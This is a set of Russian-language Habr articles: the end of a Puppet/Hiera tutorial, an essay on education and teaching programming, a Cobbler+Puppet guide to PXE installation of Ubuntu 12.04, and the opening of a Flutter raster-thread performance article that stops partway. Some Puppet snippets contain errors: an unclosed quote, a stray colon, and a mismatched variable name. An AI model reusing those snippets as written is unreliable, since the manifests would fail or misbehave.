> options => ['Indexes','FollowSymLinks','MultiViews'],
> proxy_pass => [ { 'path' => '/a', 'url' => 'http://backend-a/' } ],
> }
> apache::vhost { 'bar.example.com':
> port => '80,
> docroot: => '/var/www/bar.example.com',
> }
>
> ```
>
В Хиере это будет выглядеть так:
>
> ```
> apache::vhosts:
> foo.example.com:
> port: 80
> docroot: /var/www/foo.example.com
> docroot_owner: foo
> docroot_group: foo
> options:
> - Indexes
> - FollowSymLinks
> - MultiViews
> proxy_pass:
> -
> path: '/a'
> url: 'http://localhost:8080/a'
> bar.example.com:
> port: 80
> docroot: /var/www/bar.example.com
>
> ```
>
Все, что остается написать в Паппет манифесте, это:
>
> ```
> $myvhosts = hiera('apache::vhosts', {})
> create_resources('apache::vhost', $myvhosts)
>
> ```
>
Здесь в первой строчке мы попросили Хиеру загрузить всю конфигурацию из раздела apache::vhosts. Информация была загружена в виде двух хешей: 'foo.example.com' и 'bar.example.com' (если совсем точно, то в переменную $myvhosts попал безымянный хеш состоящий из двух именованных хешей). После чего данные хеши по очереди были переданы на вход ресурсу apache::vhosts, что приведет к их созданию Паппетом.
Еще один хороший пример, как можно перенести данные из манифестов в Хиеру. Управление пользователями. Если написать в Хиере следующий код:**Скрытый текст**
```
users:
user1:
ensure: present
home: /home/user1
shell: /bin/sh
uid: 10001
managehome: true
user2:
ensure: present
home: /home/user2
shell: /bin/sh
uid: 10002
groups:
- secondary_group1
- secondary_group2
user3:
ensure: present
home: /home/user3
shell: /bin/sh
uid: 10003
groups:
- secondary_group3
- secondary_group4
```
А затем в site.pp написать:
>
> ```
> $node_users = hiera_hash('users')
> create_resources(user, $users, {})
> ```
>
то это приведет к созданию всех вышеперечисленных пользователей. Заметьте, что вызов hiera\_hash эффективно соберет всех пользователей, объявленных в разделе users:, со всей вашей иерархии. Если где-то возникнут конфликты (разный UID пользователя в разных файлах), Хиера будет брать значение, описанное в более высоком уровне иерархии. Логично.
Также, create\_resources() наряду с defined types является одним из способов организовать итерацию по циклу в Паппете, который изначально лишен данной функции (по крайней мере без future parser, вы же не настолько безумны, чтобы его пока использовать?). Оба способа итерации неплохо описаны [здесь](https://tobrunet.ch/2013/01/iterate-over-datastructures-in-puppet-manifests/).
Вот для начала и все. Я дал основы использования Хиеры. Используя стандартные функции Паппета, hiera(), hiera\_array(), hiera\_hash(), hiera\_include() и create\_resources(), как вы уже наверняка догадались, можно много чего напридумывать.
В следующей статье я постараюсь описать управление серверными ролями с помощью Паппета и Хиеры. | https://habr.com/ru/post/242657/ | null | ru | null |
# Мета-взгляд на проблемы (не)образованной молодежи
Все мы учились в школе, а многие после школы в ВУЗе или университете, кто-то продолжил в аспирантуре. Очень многие продолжают учиться после этого: кто-то на курсах, а многие занимаются самообразованием. Многие сталкиваются с проблемами образования своих детей, а кто-то и внуков. И в принципе проблемы образования и специального обучения небезразличны всем, поскольку все хотят, чтобы врач, если пришлось к нему обратиться, был квалифицированным, а встречный водитель на дороге знал бы правила дорожного движения.
[(Г. и А. Огородниковы)](http://old-crocodile.livejournal.com/33676.html)
Ну а некоторые причастны к образованию с другой стороны: кто-то преподает в школе, кто-то преподает в ВУЗе, кто-то просто учит своего ребенка читать и считать, кто-то делится своим опытом с молодым недавно пришедшим сотрудником и т.д. У меня очень скромный опыт преподавания, но он был удачным. Сейчас не преподаю и могу не знать современных тенденций. Но проблемами обучения интересуюсь еще и с точки зрения ИИ, разделяя мнение, что в обучении интеллекта искусственного во многом приходится копировать методы обучения интеллекта естественного, подобно тому, как копируют в ИИ свойства естественных нейронов. В соц.группу молодежи уже не вхожу. Однако, несмотря на это, волна Хабра-публикаций на тему «необразованной молодежи» меня, как и многих, заинтересовала настолько, что принял участие в обсуждениях. И наговорил столько, что решил сделать своеобразный дайджест из собственных автоповторов, добавив дополнительные пояснения и учитывая услышанные в обсуждениях возражения. Ниже предлагается этот взгляд стороннего наблюдателя. Думаю, что критики прозвучало уже предостаточно, поэтому сфокусируюсь на конструктивных идеях.
Прежде всего [повторюсь](https://habrahabr.ru/post/337440/), указывая на общеизвестные факты, что обучение детей со времен пещерных людей является обязательным всеобщим, даже героя Киплинга Маугли учат читать книгу джунглей. Многие мастера и хорошие специалисты в разных областях учатся всю жизнь, но все же для большого количества взрослых обучение не считается обязательным настолько, насколько оно считается обязательным для ребенка. В этом плане, не преуменьшая роль самообучения, все же приходится признать, что традиционно у всех народов основной упор делается на обучение, причем на жесткое модальное обучение типа «делай так». Так в основном учат и воспитывают родители, воспитатели и школьные учителя: «мой руки перед едой», «не грызи ногти», «не держи ложку в кулаке», «паяльник надо держать как карандаш», «не откладывай на завтра то, что можешь сделать сегодня», «на токарном станке нельзя работать в галстуке – может намотать и удушить», «ты не должен поступать с другими так, как не хотел бы, чтобы они поступали с тобой» и т.д. При этом обоснование необязательно. Действительно, можно попытаться разъяснить ребенку, почему нужно мыть руки перед едой, но значительно труднее объяснить, почему нельзя держать ложку в кулаке – ведь ему так удобнее ее держать. Каждый школьник поймет, что движущиеся части станка могут намотать галстук, но найдутся спорщики, которые будут говорить, что галстук может быть коротким, что длинный можно заколоть булавкой и т.д. Стандартная линия поведения учителей и инструкторов – уходить от таких споров: «таковы требования техники безопасности и они не обсуждаются».
Самообучению в детском воспитании обычно отводится второстепенная роль. Конечно, бывают талантливые дети, и известно много случаев, когда заинтересовавшийся школьник самостоятельно по книгам осваивает что-то не входящее в школьную программу. Однако такие случаи обычно рассматриваются как исключения, пусть и довольно многочисленные, из общего правила. При этом обычно отмечается, что знания, полученные школьником в результате подобного самообучения, обычно поверхностны и не систематичны, а иногда и ошибочны, если не сумел разобраться или не так понял. Очевидно, что для взрослого достаточно образованного человека самообучение обычно проходит гораздо плодотворнее.
Отметим, что:
> В развитых странах среднее образование, начиная с XX века, является обязательным и всеобщим.([Википедия](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
> В настоящее время в некоторых странах (например, в России) общее образование является не только правом, но и обязанностью граждан. ([Википедия](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%89%D0%B5%D0%B5_%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D1.8C.D0.BD.D0.BE.D0.B5_.D0.BE.D0.B1.D1.89.D0.B5.D0.B5_.D0.BE.D0.B1.D1.80.D0.B0.D0.B7.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5))
Действительно, сложно привлечь к ответственности гражданина, если он неграмотный. Таким образом, школа обязана дать каждому школьнику установленный запас базовых знаний, а каждый школьник обязан его получить. Иначе будет прятаться от пролетающего над головой самолета, принимая его за дракона – даже грузчиком не сможет работать. Выбор работы, вернее, **обеспечение возможности осознанной проф.ориентации** – важнейшая задача общеобразовательной школы. Без базовых знаний осознанный выбор не возможен. Конечно, перед школой еще ставятся воспитательные задачи, но эти задачи за рамками нашего обсуждения.
Дети взрослеют с разной скоростью, но некоторые уже в младших классах начинают проявлять интерес к одним школьным предметам при частичном или полном отсутствии интереса к другим. Однако если школьник не хочет учить неинтересные предметы, то **школа обязана его заставить**, что и происходит с разной степенью успешности и не успешности. Эта проблема известна с древнейших времен и, видимо, полностью неразрешима, раз приемлемого общего решения так и не нашли. Однако известны частные решения. Одно из них это **специальные учебные заведения**, где углубленно проходят отдельные предметы, нпр., языковые школы, физмат школы и т.д. А вот в случае неуглубленного изучения нужна **очень сильная минимизация**. Но каждый учитель заинтересован в своем предмете, поэтому всегда есть стремление к увеличению объемов изучаемого материала и к повышению требований.
Допустим, ученик хорошо рисует и мечтает стать художником, всякая информатика-математика ему до лампочки. Тройки по этим предметам для такого ученика вполне естественны. Но зачастую и в школе и дома такой ученик испытывает сильное постоянное давление за эти тройки (а двойки – вообще трагедия). Конечно, трудно не согласиться с доводами взрослых и опытных людей, окружающих этого школьника: интересы могут поменяться. Очень часто так и бывает, и вчерашний художник вдруг начинает все свободное время тратить на чтение книг про великие географические открытия. Против прилежного изучения языков – родного и иностранного еще труднее возражать: ведь это нужно и физику и лирику. А как возразить против математики? – Ведь это язык естествознания. Лирику, правда, математика нужна в пределах получения сдачи в магазине. Нравится это или нет, но во многих случаях, пока школьник не поймет нужность для него какого-то школьного предмета, все уговоры учителей и родителей являются пустой тратой нервов своих и ребенка. Бывают, конечно, и прирожденные лентяи. В этом случае, тем более, уговоры и наказания далеко не всегда дают положительный результат.
Конечно, каждый случай особый и общего рецепта быть не может, однако учителю стоит сильно опасаться девальвации наказаний. Если ученик раз за разом получает двойки и только двойки – он может привыкнуть, притерпеться и для него это перестанет быть наказанием. В ВУЗе ситуация иная: есть система пересдач и, в крайнем случае, отчисления. Поэтому в ВУЗе высокие требования являются более достижимыми. В школе же ИМХО минимальной оценкой, кроме исключительных случаев откровенного саботажа, должна быть тройка. То есть нужно ставить такие основные задачи, с которыми **удовлетворительно (т.е. на 3)** справятся все. Но кроме основных задач для всех, обязательно нужны дополнительные для успевающих, иначе некоторым из них станет скучно и они перестанут успевать. Понятно, что за успешное (и даже частично-успешное) решение более трудных задач и оценка должна быть выше. Для увлеченных предметом нужны факультативы, за длительное активное участие в которых выставляется только отличная оценка. На практике никого из учителей не приходится убеждать не ставить слишком много двоек – никому не позволят сделать постоянными двоечниками почти половину класса. Просто некоторым учителям стоит **осознать двойку, как исключительную и не слишком частую меру** и соответственно пользоваться ею осознанно, а не эмоционально. Для этого нужно понять, что при всем желании школа, даже специальная с углубленным изучением, например, информатики, не может дать **полных систематических знаний** по информатике, т.к. слишком много других предметов, которые не дадут заинтересованным школьникам сфокусироваться только на информатике. В том числе, этим школа принципиально отличается от ВУЗа, хотя и в вузах обычно бывают второстепенные предметы, но студентам гораздо легче, чем школьникам, правильно распределять свое время. Как было сказано, школа обязана заставить каждого учить все предметы, для чего практикуется практически ежедневный почти тотальный контроль. Студентов так не контролируют – они должны сдавать курсовые, зачеты, экзамены, но не ежедневные домашние задания и т.д.
Смешно выглядит стандартный довод, к которому любят прибегать многие школьные учителя: как же можно допустить, чтобы ученик не знал столь элементарной вещи! – Ну неужели они не понимают, что многим из их учеников за всю жизнь не понадобится теорема Пифагора или знание формулы медного купороса? Если, отучившись в школе, ученик так и не заинтересовался химией и математикой – значит, он выберет себе специальность, где ему это будет не нужно. И в таком случае школа выполнила свою обязанность, обеспечив ему осознанный выбор, несмотря на **незнание ряда элементарных вещей** этим учеником. Может, конечно, случится, что неожиданно для него в выбранной специальности понадобится химия или математика. Ничего не поделаешь – придется либо менять специальность, либо восполнять пробелы в своем образовании. Школа не виновата в таких пробелах.
Однако, переходя к информатике, нужно отметить важный пробел, в котором виновата школа: в частности, в обсуждениях на Хабре часто высказывается мнение, что многим программистам не надо знать математику. Зачем математика для «клепания» веб-сайтиков или простейших мобильных приложений? – А как человеку без знания математики понять смысл и необходимость современных принципов безопасности для веб-сайтиков… Пойдет по пути наименьшего сопротивления «шифрованием через xor» в полной уверенности, что обеспечил высокую степень защиты. Многие знания применяются неосознанно, поэтому специалисту, получившему добротное вузовское образование, может казаться, что математикой в повседневной работе он не пользуется. Например, при выборе алгоритма по вычислительной сложности. Но если другой «спец» не увидит никакой принципиальной разницы между экспонентой и полиномом, то в результате даже простое приложение может оказаться слишком медленным. Может, конечно, такой «HTML-кодер» и найдет себе экологическую нишу, где проработает многие годы.
Однако увольнение с работы может превратиться для него в личную трагедию. **Грубая недооценка роли математики в программировании** происходит из-за увлечения в школьной информатике технологиями, например, изучением современного, но не самого простого ЯП. Делают на этом языке красивый GUI, и все довольны. И никто из них не хочет понять, что технологии очень быстро устаревают, им на смену приходят новые и они — не главное. А **главное — алгоритмы**. Изучение информатики нужно начинать с изучения классических алгоритмов, а язык реализации должен прежде всего отвечать принципу «чем проще – тем лучше», чтобы не отвлекать слишком большое внимание на форму от алгоритмической сути. В принципе изучать алгоритмы можно и без ЯП. В конце концов, Евклид и Эратосфен сформулировали свои великие алгоритмы на естественном языке, не зная искусственных – не было тогда ЯП. Много позже определенную роль сыграл, нпр., и предельно упрощенный [Русский алгоритмический язык](https://ru.wikipedia.org/wiki/%D0%A3%D1%87%D0%B5%D0%B1%D0%BD%D1%8B%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA). Однако сейчас у школ другие возможности, и вряд ли стоит возвращаться к этому ЯП. Но мне кажется, что при возможности лучший выбор будет в пользу языка, который минимально отвлекает школьников от основной цели. **Код должен быть максимально нагляден** для школьника. К сожалению, на любом языке можно написать путаный код. Полагаю, что и ЯП, и учитель первым делом должны этому препятствовать. В частности, не играть в уменьшение строчек кода. Например, программку для нахождения чисел Фибоначчи на Питоне можно записать [следующим образом](https://habrahabr.ru/post/261159/):
```
fib = lambda n: fib(n - 1) + fib(n - 2) if n > 2 else 1
```
Для школьника это ненаглядно, хотя и коротко. Другой недостаток для школы у современных языков типа Питона – недостаток учебников на русском по алгоритмам на этих ЯП. Этих недостатков лишен Паскаль. Как бы его ни критиковали, но этот «устаревший» язык зарекомендовал себя в качестве учебного языка и языка публикаций (в последнем случае сейчас чаще используется Pascal-like псевдокод). Выучить Паскаль для школьного применения гораздо проще и быстрее, чем многие другие языки. А строгости языка дисциплинируют учащихся в стилевом плане. Поняв основы, т.е. основные идеи алгоритмики и реализации, тем, кто захочет дальше учится программированию (в вузах, на курсах, самостоятельно), будет гораздо проще осваивать новые технологии и современные языки. Без этих основ учащийся может не увидеть за деревьями леса. В частности, для углубленного изучения алгоритмов в школе кроме классических книг Н.Вирта, можно посоветовать книгу *С.М.Окулов, Программирование в алгоритмах, М.: БИНОМ, 2004*. В предисловии автор отмечает, что книга в первую очередь предназначена для учителей и учащихся школ с углубленным изучением информатики. Упор делается на алгоритмику, причем на широко известные классические задачи, а не на выдуманные только для учебных целей.
Показательно, что сегодня слово «алгоритм» все чаще и чаще применяется в обиходном языке. При этом даже далекие от информатики лирики применяют его вполне уместно. И почти никто уже не путает алгоритм с логарифмом – значит, слово действительно прижилось в обиходе. Изучение алгоритмов вырабатывает умение последовательно и четко излагать свои мысли, описывать по шагам какое-либо действие. Такое умение не лишнее в любой специальности. А вот как записывается оператор цикла на каком-то ЯП, многие выпускники забудут сразу после окончания школы.
Выше отметил общеизвестный факт, что дети взрослеют с разной скоростью и что разное время могут затратить на выбор специальности. Отсюда следует важный вопрос, **когда заканчивать общеобразовательную школу?** Если, например, человек решил пойти работать почтальоном, то ему, может, и шести лет общеобразовательной школы достаточно. А достаточно ли шести лет общеобразовательной школы, если решил стать программистом? Думаю, что если есть возможность продолжить обучение в учебном заведении с углубленным изучением информатики, то такой возможностью следует воспользоваться. А вот вариант дальнейшего самообразования вызывает большие сомнения. Даже взрослый человек с большими знаниями и опытом обычно занимается не общим самообразованием, а под конкретную задачу. Просто чтение научно-технической литературы по смежным областям, чтобы быть в курсе, самообразованием в полной мере не является. Тут обсуждается принципиальная сторона вопроса, а не формальный вопрос получения каких-либо свидетельств об образовании. В конце концов, есть заочные формы обучения, можно сдать экстерном и т.д. Однако самое важное то, что было показано выше: **школа не должна и не может дать достаточных систематичных знаний** ни по одному из изучаемых там предметов, в том числе и по информатике. Хорошим специалистом можно стать только в хорошем ВУЗе.
Я сам, уже работая (с университетским дипломом в кармане), периодически, как и мои коллеги, занимался (и сейчас занимаюсь) самообразованием. Однако, как правило, всегда была конкретная цель, было понятно, на что обратить особое внимание, а на что не следует тратить особо много времени. Например, недавно для конкретной задачи понадобилась технология CUDA, про которую раньше просто читал, чтобы быть в курсе. Разобрался, освоил, решил свою задачу. Наверно, самое трудное при самообразовании – понять, на что обратить внимание в первую очередь. А если все детали покажутся одинаково важными, то их изучать можно очень долго. При хорошем преподавателе такой проблемы возникать не должно, так как он обращает внимание учеников на действительно важные детали. Немаловажен и соревновательный процесс, которого нет при самообразовании. И как оценить свои успехи? Дать беспристрастную самооценку школьнику или студенту почти невозможно: в зависимости от типа характера либо сильно завысит, либо неоправданно занизит.
Думаю, что программисту, чем бы он ни занимался, могут быть полезны знания физики и химии. Постоянно появляются устройства, основанные на новых технологиях. Полезно иметь собственное мнение об их возможностях. Чтение рекламных проспектов и даже чтение популярных публикаций в таких случаях при отсутствии базовых знаний мало помогает. Таким образом, школа, а особенно ВУЗ представляются очень не бесполезными. Если это хорошая школа и хороший ВУЗ. Однако даже хороший ВУЗ не без урода и там, к сожалению, бывают плохие преподаватели. В таких случаях по этим предметам можно и нужно заниматься самообразованием в рамках вузовской программы по этому предмету. В том числе заниматься самообразованием на семинаре или лекции данного плохого преподавателя. Сравнение учебника с тем, что несет с кафедры такой горе-лектор, нередко дает дополнительный стимул к лучшему пониманию и усвоению предмета.
Также существует мнение, что последние классы школы и ВУЗ можно заменить, устроившись работать программистом. Прежде всего, очень большая вероятность, что не повезет – работа окажется если не рутинной, то и не требующей большого искусства. А не имея опыта и знаний, сразу оценить ситуацию вряд ли возможно. Полученный опыт, скорее всего, окажется мизерным. Сослуживцы, если и будут помогать и подсказывать, то по узкому кругу вопросов, связанных с работой. Таким образом, систематичных знаний не получить. Здесь еще одна чисто молодежная проблема – хочется получить все сразу: и знания, и опыт, и деньги. Но сразу обычно ничего не получается – с небольшим дополнительным возрастом обычно получается постепенно. Сначала нужно получить знания, потом приобрести опыт, а потом и деньги могут появиться. Учитывая все вышесказанное, я бы посоветовал основные систематические знания получать в учебном заведении, и при этом дополнительные знания и опыт разработки начать получать, участвуя в каком-нибудь **добровольном проекте с открытым кодом**. Никаких денег это не принесет, и хорошо – нет опасений, что к новичку будут претензии: какие претензии могут быть к бесплатному добровольцу? В сетке много таких проектов. Некоторое время назад и я предложил подобный [проект](https://habrahabr.ru/post/283020/). Получил много писем, в которых выражалось желание участвовать. Всем был рад. Но никто так и не стал участвовать – все сразу же замолкали. А ведь для новичка опыт участия хоть в каком проекте очень важен. Возрастает вероятность и за деньги куда-то устроиться. Более того, проект амбициозный на очень востребованную тему ИИ. Сейчас вместе с другими проектами у меня накопилось достаточно интересных выводов по путям развития ИИ и даже по его определению. Думаю обобщить их в статье для [arXiv](https://arxiv.org/). Далее можно подумать и о публикации в солидном международном журнале. Школьнику и даже студенту было бы престижно стать соавтором такой публикации. Но не хотят – видимо, проблемы молодежи во многом в ней самой, а не только в образовании или в отсутствии возможностей.
*См. [опрос](https://habrahabr.ru/post/342896/) по теме.* | https://habr.com/ru/post/341834/ | null | ru | null |
# Cobbler+puppet или сетевая установка Ubuntu 12.04
#### Введение
Рано или поздно каждой серьезной компании приходится задумываться о легализации своей IT инфраструктуры. Возьмем среднюю по масштабам компанию N. Центральный офис, 30 небольших филиалов. Везде стоят рабочие станции под Windows, в основном XP. На более свежих машинах, ноутбуках, встречаются windows 7 и 8, на серверах 2k3, 2k8, ubuntu-server.
Расширяется компания не слишком большими темпами, и немногочисленный отдел IT успевает новые машины накатывать из заранее созданных образов Acronis'ом. Но в целях уменьшения затрат/легализации инфраструктуры/очистки совести принимается решение перейти на opensource. Тут уже другой масштаб трагедии, переустанавливать руками множество рабочих станций — процесс долгий и неблагодарный. Под катом — один из вариантов решения данной проблемы.
#### 1. Инструменты и установка требуемых пакетов.
Решено было устанавливать Ubuntu 12.04.3 LTS с помощью PXE. В качестве инструментов реализации были выбраны cobbler и puppet.
Сobbler — сервер сетевой установки для Linux, обеспечивающий быстрое построение необходимой среды развертывания и управления процессом инсталляции ОС на новые компьютеры или виртуальные машины (Xen, qemu, KVM или VMware Server), так и последующей переустановки систем.
Написан Сobbler на Python и является связкой для некоторых стандартных для таких случаев компонентов PXE, TFTP, DHCP и других.
Установим нужные нам пакеты:
```
sudo apt-get install cobbler cobbler-common cobbler-web dhcp3-server xinetd tftpd tftp debmirror
```
По умолчанию получим cobbler версии 2.2.3, что не совсем хорошо. Почему — узнаем дальше.
Затем проверим, все ли устраивает наш cobbler:
```
sudo cobbler check
```
На что в ответ должны увидеть:
```
No configuration problems found. All systems go.
```
Синхронизируем конфигурацию:
```
sudo cobbler sync
```
Теперь cobbler готов к дальнейшей настройке.
#### 2. Настройка Cobbler
Изменим конфигурацию cobbler, указав сетевые настройки сервера, на котором он установлен:
```
sudo dpkg-reconfigure cobbler
```
Укажем адрес сервера в сети, пароль для web-интерфейса cobbler’а.
Настроим cobbler на использование DHCP:
```
sudo nano /etc/cobbler/settings
```
изменим
```
manage_dhcp: 0
```
на
```
manage_dhcp: 1
```
Перезагрузим и синхронизируем конфигурацию cobbler:
```
sudo service cobbler restart
sudo cobbler sync
```
Изменим шаблон DHCP, который cobbler будет передавать isc-dhcp-server:
```
sudo nano /etc/cobbler/dhcp.template
```
Приводим к виду:
```
subnet 192.168.1.0 netmask 255.255.255.0 { #подсеть
option routers 192.168.1.254; #адрес шлюза
option domain-name-servers 192.168.1.254; #адрес DNS сервера
option subnet-mask 255.255.255.0; #маска
range dynamic-bootp 192.168.1.10 192.168.1.20; #диапазон раздаваемых IP
```
И снова перезагружаем cobbler:
```
sudo service cobbler restart
sudo cobbler sync
```
Теперь cobbler готов к импорту Вашего ISO файла, но тут, как и обещал, объясню ситуацию с некоторыми нюансами cobbler 2.2.3.
##### Собственно, нюансы.
*Первыми граблями, на которые въехал мой велосипед, стал факт, что я не мог импортировать образ desktop версии. После импорта в cobbler его не было видно в списке возможных для установки дистрибутивов. После гугления форумов наших заокеанских друзей – оказалось, что нужно использовать alternate, server, mini версии дистрибов Ubuntu, desktop cobbler попросту не видит(хотя есть какие-то workaround, но мне было проще скачать alternate). Так же, особенностью версии 2.2.3 является то, что он не создает локального дистрибутива с вашего образа, при установке подгружает только ядро, все остальные пакеты качает с репозиториев в интернете. Как минимум так было с образом lubuntu-12.04-alternate-i386. В версии 2.4 создается локальный дистриб, и пакеты ставятся непосредственно с вашего ISO-образа.*
Продолжим
Смонитруем наш образ и импортируем его в список дистрибутивов cobbler:
```
sudo mount -o loop lubuntu1203.iso /mnt
sudo cobbler import --name=lubuntu-12-4 --path=/mnt --breed=ubuntu
```
Пакет cobbler-web мы ставили не зря. Можем обратиться к его web-интерфейсу по адресу: 192.168.1.2/cobbler\_web
Тут можно настроить много полезных вещей, добавить свои дистрибутивы, пакеты, репозитории, профили и прочее. Наша задача – настроить импортированный нами профиль. Переходим в Profiles, где видим lubuntu-12-4, жмем Edit. Тут наша задача – добавить kickstart
Уже на последнем этапе, при установке Ubuntu на клиентской машине, наткнулся на ошибку “Bad Archive Mirror An error has been detected while trying to use the specified archive mirror”.
Решается копированием и переименованием kickstart файла
```
/var/lib/cobbler/kickstarts/ubuntu-server.preseed
```
в
```
/etc/cobbler/precise.ubuntu.alternate.lan.preseed
```
В нашем профиле путь к kickstart пропишем в соответствующем месте:
#### 3. Puppet
На puppet была возложена функция тонкой настройки машин. В рассмотренном мной примере будет проверяться наличие некоторых пакетов на клиентской машине, и их установка, в случае отсутствия.
Установим puppet на сервере:
```
sudo apt-get install puppetmaster
```
И на клиенте:
```
sudo apt-get install puppet
```
Для удобства, кстати, в /etc/cobbler/settings есть параметр puppet\_auto\_setup, который ставит puppet автоматически, но требует иметь локальную копию EPEL на своем сервере. Либо я не до конца понял, либо затея действительно глупая, но все можно реализовать через post-install script в самом cobbler куда проще.
Подразумевается, что машины получают свои имена от DNS, в ином случае, придется настроить файлы hosts на клиенте и сервере puppet соответственно.
```
192.168.0.1 puppetmaster.example.com puppetmaster puppet
192.168.0.10 puppetclient.example puppetclient
```
Создадим манифест /etc/puppet/manifests/site.pp следующего содержания(пакеты выбраны для примера, для детальной настройки puppet следует обратиться к его документации):
```
$base_packages = [
“gnome”,
“mc”,
“openssh-server”,
“vim”
]
package { $base_packages:
ensure => installed
}
```
Финальным шагом для этого простого Puppet сервера является перезапуск сервиса:
```
sudo /etc/init.d/puppetmaster restart
```
Теперь можем запросить сертификат с клиента:
```
puppet agent --server puppetmaster --waitforcert 60 --test
info: Creating a new SSL certificate request for puppetclient
```
Просмотрим запрос на подпись сертификата на сервере:
```
puppet cert --list
```
Теперь мы должны увидеть запрос от клиента, подпишем:
```
puppet cert --sign puppetclient
```
При первой попытке соединения с сервером puppet выдал ошибку, что имя сервера в сертификате не соответствует имени, к которому был запрос, нужно отредактировать `/etc/puppet/puppet.conf`
```
[master]
certname=puppetmaster
```
Вот и все, клиентская машина будет ставить указанные в манифесте пакеты.
#### Заключение
Данный процесс может незначительно отличаться на разных дистрибутивах. Может понадобиться создать недостающую папку, о чем будет явно прописано в консоли. Так же не удалось побороть зависание в начале установки, минут на 15, может показаться, что машина просто зависла. Насколько мне удалось узнать, выполняется deduplicate. Тоже часто встречающийся баг, описанный в баг-трекерах. Почему, отчего – возможно кто-то подскажет именно здесь. Критика, советы, исправления – приветствуются. | https://habr.com/ru/post/204788/ | null | ru | null |
# Советы по оптимизации производительности растрового потока
Недавно я сел за работу по настройке производительности FlutterFolio, приложения, которое было создано в качестве демонстрации дизайна для Flutter Engage. С помощью одного изменения я сделал FlutterFolio значительно быстрее.
Но сначала пришлось поискать то, что необходимо было изменить. Эта статья посвящена этому поиску.
FlutterFolio — это полнофункциональное приложение, которое было создано за 6 недель (!) от разработки до реализации, для мобильных, настольных и веб-версий. Команде разработчиков явно пришлось срезать некоторые углы — не обессудьте. Масштаб проекта и очень сжатые сроки вынудили их сделать это.
На самом деле, это открывает большие возможности, потому что приложение более "реально", чем все аналогичные проекты, которые я могу вспомнить.
А оптимизация производительности лучше объясняется на реальных приложениях, чем на искусственно созданных проблемах.
### Шаг 1: Профилирование производительности
Что является первым шагом любой оптимизации? Измерение. Одного знания того, что приложение кажется медленным, недостаточно. Нужно быть немного более точным. По двум причинам:
1. Измерение может указать нам на наихудших из виновников кризиса. Каждую часть любого приложения можно сделать быстрее и эффективнее. Но нужно с чего-то начинать. Профилирование производительности позволяет нам увидеть, какие части работают хорошо, а какие — плохо. Далее мы можем сосредоточиться именно на тех частях, которые работают плохо, и добиться большего прогресса за ограниченное время.
2. Мы можем сравнить "до" и "после". Иногда изменение кода кажется хорошей идеей, но в реальности оно не дает существенной разницы. Имея исходную точку (до), можно количественно оценить эффект от наших изменений. Можно сравнить "до" с тем, что будет "после".
Профилирование производительности приложений — сложная задача. Я написал об этом [длинную статью](https://medium.com/flutter/performance-testing-of-flutter-apps-df7669bb7df7) в 2019 году. Итак, давайте начнем с простого. Запускаем приложение в режиме профиля, включаем наложение производительности и начинаем использование приложения, наблюдая за графиком, который демонстрирует нам процесс данного оверлея.
Сразу видно, что растровый поток испытывает трудности.
Особенно это заметно при прокрутке главной страницы приложения. Вы всегда должны отдавать приоритет тем частям приложения, где пользователь проводит большую часть своего времени или там, где есть проблемы с производительностью, наиболее ощутимые для пользователя. Другими словами, если у вас имеются две проблемы производительности, и одна из них возникает на начальном экране, а другая - на странице настроек, сначала устраните проблему на начальном экране.
Давайте посмотрим, что делает растровый поток.
### Отступление: Поток пользовательского интерфейса в сравнении с растровым
На самом деле, давайте сначала проясним, что делает растровый поток.
Все приложения Flutter работают как минимум в двух параллельных потоках: UI thread (пользовательский поток) и Raster thread (растровый поток). Пользовательский поток — это место, где собираются виджеты и выполняется логика вашего приложения. (Вы также имеете возможность создавать изоляты, то есть можно запускать свою логику в других потоках, но для простоты проигнорируем это). Растровый поток — это то, что Flutter использует для \_растеризации\_ вашего приложения. Он принимает инструкции от пользовательского потока и преобразует их в то, что может быть отправлено на графическую карту.
Чтобы быть более конкретным, давайте посмотрим на функцию сборки:
```
Widget build(BuildContext context) {
return Image.asset('dash.png');
}
```
Приведенный выше код выполняется в потоке пользовательского интерфейса. Фреймворк Flutter решает, где разместить виджет, какой размер ему придать и так далее — все еще в UI потоке.
Затем, после того как Flutter узнает все о фрейме, он переходит к растровому потоку. Растровый поток принимает байты в `dash.png`, изменяет размер изображения (если необходимо), а затем применяет к нему непрозрачность, режимы наложения, размытие и так далее, пока не получит необходимые пиксели. Затем растровый поток отправляет полученную информацию на видеокарту и, следовательно, на экран.
### Шаг 2: Разбираемся в хронологии событий
Итак, вернемся к FlutterFolio. Открыв Flutter DevTools, мы можем более детально изучить временную шкалу.
На вкладке **Perfomance (Производительность)** видно, что пользовательский поток (бледно-голубые полосы) работает достаточно хорошо, в то время как растровый поток (синие и красные полосы) занимает поразительно много времени для каждого фрейма, особенно при прокрутке вниз главной страницы. Таким образом, проблема не в неэффективных методах построения или бизнес-логике. Проблема в том, что растровому потоку приходится делать слишком много.
Тот факт, что *каждый фрейм* тратит много времени на растровый поток, свидетельствует о следующем. Это значит, что мы просим растровый поток выполнять определенную работу постоянно, *снова и снова* — и она не делается изредка, время от времени.
Давайте выберем фрейм и посмотрим на панель **Timeline Events (хронология событий)** …
Верхняя часть временной шкалы со светло-серым фоном - это поток пользовательского интерфейса. И снова видно, что проблема не в потоке пользовательского интерфейса.
Ниже пользовательского потока отображаются события растрового потока, начиная с `GPURasterizer:Draw`. К сожалению, именно здесь все становится немного запутанным. Здесь много вызовов экзотически звучащих методов, таких как `TransformLayer::Preroll`, `OpacityLayer::Preroll`, `PhysicalShapeLayer::Paint` и так далее. Нет никаких подробностей о том, что происходит в этих методах, и это не те имена, которые узнают большинство разработчиков Flutter.
